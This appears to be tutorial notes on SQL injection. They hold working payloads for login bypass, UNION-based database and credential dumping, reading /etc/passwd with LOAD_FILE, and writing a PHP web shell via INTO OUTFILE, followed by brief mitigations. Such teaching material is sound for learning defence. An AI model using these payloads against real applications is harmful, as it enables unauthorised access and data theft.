SQL Injection

This section will cover SQL Injection.

Table of Contents

• Overview
  • Types of SQL Injections
• Subverting Query Logic
  • Authentication Bypass
  • SQLi Discovery
  • OR Injection
  • Using Comments
  • Union Injection
• Database Enumeration
  • INFORMATION_SCHEMA Database
  • SCHEMATA Table
  • TABLES Table
  • COLUMNS Table
  • Exfiltrating Data
• Reading Files
  • LOAD_FILE() Function
• Writing Files
• SQL Injection Mitigations

Overview

SQL injection is an attack where the attacker is able to input/manipulate SQL queries to perform unintended actions.

SQL injection occurs when there is insufficient input validation on the application. The lack of input validation can lead to users being able to input whatever data, which can lead to malicious attacks as the data is not properly validated and sanitised before being passed to the application.

Types of SQL Injections

There are many different times of SQL injections such as in-band, blind, and out-of-band.

In-band:

• Union Based
• Error Based

Blind:

• Boolean Based
• Time Based

In simple cases, the output may be printed directly on the front end, allowing us to directly read it. This is known as In-band SQL injection. There are two main types - Union based and Error based.

Union Based SQL injection allows us to specify the exact location (i.e., column) to read. For Error Based SQL injection, it is used when we can get the PHP or SQL errors in the front-end. We can intentionally cause an SQL error that returns the output of our query.

In more complicated cases, we may not get the output printed, so we may need to utilise SQL logic to retrieve the output character by character. This is known as Blind SQL Injection, and has two types - Boolean based and Time based.

Boolean Based SQL injection uses SQL conditional statements to control if the page returns any output at all, (i.e., original query response), if our conditional statement returns True. With Time Based SQL injections, we can use SQL conditional statements that delay the page response if the conditional statements returns true using the Sleep() function.

If we do not have direct access to the output, we may have to direct the output to a remote location (i.e., DNS record) and attempt to retrieve it from there. This is known as Out-of-Band SQL injection.

Subverting Query Logic

This section will cover some ways to bypass query logic.

Authentication Bypass

If the application has a authentication system such as a login page, we can attempt to perform SQL injection on it, assuming it is using SQL.

Attempting to login to the admin panel with the admin credentials admin:p@ssw0rd will show us the query used to login.

If there are insufficient input validation, we can perform SQL injection on the above login page.

The following is the query used to authenticate.

SELECT * FROM logins WHERE username='<username>' AND password='<password>';

The <username> and <password> will be the input from the user. The above query works by where if the username and password matches an entry, it will return true, which will then successfully authenticate us.

However, if one of the parameters returns false, the login attempt will fail due to the AND where both conditions has to match for a successful attempt.

SQLi Discovery

Before attempting to perform SQL injection, we will need to identify if the application is vulnerable. We can input simple SQL parameters such as attempting to close or comment the query with the following characters.

Payload	URL Encoded
'	%27
"	%22
#	%23
;	%3B
)	%29

If an error or unexpected behaviour occurs when inputting the above payloads, there is a high chance that the application is vulnerable.

We can see from the above screenshot that the application is vulnerable.

OR Injection

To have a condition that can always return true, we can use the OR or similar operators with query such as 1 = 1, which will always return true.

An example of how the payload will look like:

admin' OR '1'='1

The query will look like the following.

SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password = '<password>';

Note that the password field can be any character.

The above query will have the following logic:

If username is 'admin'
OR
If 1=1 return true
AND
If password is <password> (Note: can be random characters)

The query will have the AND operator evaluated first and return false. After that, the OR operator will be evaluated and return true as 1=1 always returns a condition of true. Due to this, we will be able to gain access.

For the payload to work, we will require a valid username as that will return true. Otherwise, the payload will fail as the final result returns a condition of false.

Using Comments

Comments can be used to "ignore" anything after it. Depending on the SQL database used, there can be different ways to comment. The following are some methods to comment in different SQL databases.

Comment	Database
-- -	MySQL
#	MySQL

Note: When using double dash in MySQL, a space is required after the double dash to start the comment (-- ). It is sometimes URL encoded as --+, with the + denoting a space when URL encoded. To make it clear, another dash at the end - is used to show the additional space.

Assuming a login page has the following SQL statement.

SELECT * FROM logins WHERE username = '%username' AND password = '%password';

If we can inject a comment after inputting the username, we can effectively login without a password. An example will be the following payload.

admin' -- -

The statement will look like the following.

SELECT * FROM logins WHERE username = 'admin' -- - AND password = '<password>';

We can see that the password field is commented and sending the payload will allow us to login as the admin user.

Another example is when parenthesis are in use.

SELECT * FROM logins WHERE (username='%username%' AND id > 1) AND password = 'd41d8cd98f00b204e9800998ecf8427e';

The above statement will check if the supplied username has a ID above 1. If it is 1 or below, it will return an error.

To bypass this, we can use the following payload.

admin' ) -- -

The above payload will allow us to login with the admin username. As we have commented the ID check, this will allow us to login. The closing bracket ) is to close the parenthesis so that it will not fail due to a syntax error.

Union Injection

The UNION statement can be used to combine results from multiple SELECT statements. This will allow us to dump data from multiple tables and databases in a single query.

An example will be where we have two different SELECT queries to obtain information from two different databases.

SELECT * FROM <database_1>;
SELECT * FROM <database_2>;

We can combine the results into one using UNION.

SELECT * FROM <database_1> UNION SELECT * FROM <database_2>;
SELECT * FROM logins UNION SELECT * FROM products;

The above query will output all entries from both databases in a single result.

A UNION statement can only operate on SELECT statements with an equal number of columns. If we attempt to use UNION on two queries that have results that return a different number of columns, we will get an error.

Some ways to enumerate the number of columns:

• ORDER BY
• UNION

ORDER BY

If we are unsure of the number of columns, we can use statements such as ORDER BY.

This works by injecting a query that sorts the results by a column that we specify such as column 1, column 2, and so on until we get an error. Once we have encountered an error, this means that the specified column does not exists.

' ORDER BY 1-- -

An example will be where an error message is returned on ORDER BY 4. This means that there are 3 columns in the table.

UNION

We can also use UNION. We can keep injecting a different number of columns until we are returned successful results. When results are returned, this indicates that the database has that specified number of columns.

' UNION SELECT 1,2,3-- -

Once we know the number of columns, we can use "false" data or NULL to ensure that the number of columns are the same.

SELECT * from products WHERE product_id = '1' UNION SELECT username, NULL FROM passwords

The above query will attempt to obtain the entry from the products table where the ID equals 1. As the database has two columns, the username, NULL is used where the NULL is used to match the number of columns to allow us to obtain information from the passwords database.

If the application is not outputting the first column to the user, we will not be able to start our injection there. To do this, we can use "false" data or NULL.

An example will be where an application has 4 columns but only column 2, 3 and 4 are being shown to the user. We can insert the payload on the second, third, or forth column to view it.

' UNION SELECT 1,@@version,3,4-- -

The above query will display the database version.

Database Enumeration

After identifying potential SQL injections, we can perform enumeration on the database to gather more information.

The following table will be some useful queries for MySQL.

Payload	When to Use	Expected Output	Wrong Output
SELECT @@version	When we have full query output.	MySQL version	In MSSQL, it will return the MSSQL version. Other DBMS will return an error.
SELECT POW(1,1)	Use when there are only numeric output.	1	Error with other DBMS.
SELECT SLEEP(5)	Blind/No Output	Delay the page response for 5 seconds and returns 0.	Will not delay response with other DBMS.

INFORMATION_SCHEMA Database

To obtain the metadata about the databases and the tables present, we can use INFORMATION_SCHEMA. If we are attempting to obtain the information from a different database, we will need to specify it using FROM.

SCHEMATA Table

To start, we can find what databases are available. The SCHEMATA table in the INFORMATION_SCHEMA database contains information on all databases on the server. The SCHEMA_NAME column contains all the database names current present on the server.

The below queries are some examples on how information can be obtained via SQL injection.

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -

We can obtain the current database that an application is using with the SELECT database() query.

SELECT database();
' UNION SELECT NULL,database(),NULL-- -

TABLES Table

To obtain a list of tables in a specified database, we can use the TABLES table in the INFORMATION_SCHEMA database.

The TABLES table contains information about all tables in the database. The columns that will be interesting to us will be TABLE_SCHEMA and TABLE_NAME columns. They store column table names and which database the column belongs to respectively.

' UNION SELECT NULL,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='<Target_database>'-- -

Replace <Target_database> with the database you are targeting and add or remove NULL where required.

COLUMNS Table

The COLUMNS table in the INFORMATION_SCHEMA database contains all information about all columns present in all databases. This allows us to search for the column name to query a table for. The COLUMN_NAME, TABLE_NAME, and TABLE_SCHEMA columns can be used to achieve this.

' UNION SELECT NULL,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='<Target_table>'-- -

Replace <Target_table> with the table you are targeting and add or remove NULL where required.

Exfiltrating Data

Once we have the required information, we can obtain the information from our specified target.

SELECT 1,<column_name_1>,<column_name_2> FROM <database_name>.<table_name>-- -
' UNION SELECT 1,<column_name_1>,<column_name_2> FROM <database_name>.<table_name>-- -

An example if the database has four columns:

SELECT NULL,usernames,passwords,NULL FROM userbase.creds-- -

Reading Files

If the DBMS is granted enough privileges, we can potentially read files on the system.

An example will be MySQL where if the DB user have the FILE privilege, which is required to load a file's contents into a table and then dump data from that table and read files.

To start, we will need to identify which user we are within the database. While we do not necessarily need Database Administrator (DBA) privileges to read data, this is becoming more required in modern DBMSes as only DBA are given such privileges.

To identify our current DB user, we can use any of the following queries.

SELECT USER();
SELECT CURRENT_USER();
SELECT user FROM mysql.user;

Example of using UNION injection:

' UNION SELECT NULL,user()-- -
' UNION SELECT user FROM mysql.user-- -

To view the user privileges, we can use super_priv.

SELECT super_priv FROM mysql.user;
SELECT super_priv FROM mysql.user WHERE user="<target username>";

An example when paired with UNION:

' UNION SELECT super_priv,NULL FROM mysql.user-- -
' UNION SELECT NULL,super_priv,NULL FROM mysql.user WHERE user="root"-- -

If the query returns Y, it indicates that the user specified has superuser privileges. We can also dump other privileges that the user have directly from the schema with the following query.

SELECT grantee, privilege_type FROM information_schema.user_privileges;

If the user has the FILE privilege, this allows us to read and potentially write files. To do this, we will need the LOAD_FILE() function.

LOAD_FILE() Function

The LOAD_FILE() function can be used in MariaDB or MySQL to read data from files.

SELECT LOAD_FILE('/path/to/file');

An example will be reading the /etc/passwd file.

SELECT LOAD_FILE('/etc/passwd');

When using UNION injection, the following is an example.

' UNION SELECT NULL,LOAD_FILE("/etc/passwd"),NULL-- -

Writing Files

To be able to write files in a MySQL database, we will need the following items:

1. A user with FILE privilege enabled
2. MySQL global secure_file_priv variable not enabled
3. Write access to the location that we want to write to on the back-end server

To check for the FILE privileges, we can use the previous examples and queries.

SELECT grantee, privilege_type FROM information_schema.user_privileges;

To check if the database has the privilege to write files, we can check the secure_file_priv global variable using the following query.

SHOW VARIABLES LIKE 'secure_file_priv';

The secure_file_priv is used to determine where to read/write files from. If the value is empty, it means that we can read files from the entire system. However, if a directory is set, we can only read files from that specified directory.

If the value is set to NULL, this means that we do not have permissions to read/write. In MariaDB, this variable is set to empty. However in MySQL, it is set to /var/lib/mysql-files as its default directory.

To obtain the variable data using UNION, we can use the following query to look into the information_schema database and the global_variables table.

UNION SELECT variable_name, variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv" 

Once we know that we have write privileges, we can use the SELECT INTO OUTFILE to write data.

SELECT * FROM <table> INTO OUTFILE '/path/to/write';

An example will be writing data from the passwords table into a file:

SELECT * FROM passwords INTO OUTFILE '/tmp/creds';

To use SQL injection, we will first need to know the base web directory for the web sever (i.e web root). To find it, we can use methods such as load_file to read the server configuration. The below will list some common web servers and their configuration file locations.

Apache - /etc/apache2/apache2.conf
Nginx - /etc/nginx/nginx.conf
IIS (Windows) - %WinDir%\System32\Inetsrv\Config\ApplicationHost.config

Once we know the web root location, we can write files. An example will be using UNION.

' UNION SELECT NULL,'<file contents here>',NULL INTO OUTFILE '/var/www/html/file.txt'-- -

To write a web shell, we can use the following. We will use "" to make the output cleaner as using a UNION injection will require the columns to match as mentioned in earlier sections.

' UNION SELECT "", '<payload>',"" INTO OUTFILE '/path/to/output/file.php'-- -

An example:

The above payload will allow us to navigate to shell.php using the 0 parameter (?0=) and execute commands such as ls.

http://<IP>/shell.php?0=pwd

SQL Injection Mitigations

To mitigate SQL injection, sanitise all inputs from users such as using functions like mysqli_real_escape_string() for MySQL or pg_escape_string() for PostgreSQL in PHP.

Another way to mitigate is to implement an allow list or blocklist for characters that can be used on the inputs.

It is also recommended to use the principle of least privilege on users when creating the SQL database, only allowing the minimum required amount of privileges to perform the specified tasks.

It is also recommended to use parameterised queries (prepared statements) on all inputs as it allows the inputs to be escaped before passing it to the SQL query.

Other mitigations methods can include using web application firewalls (WAF) and other security appliances.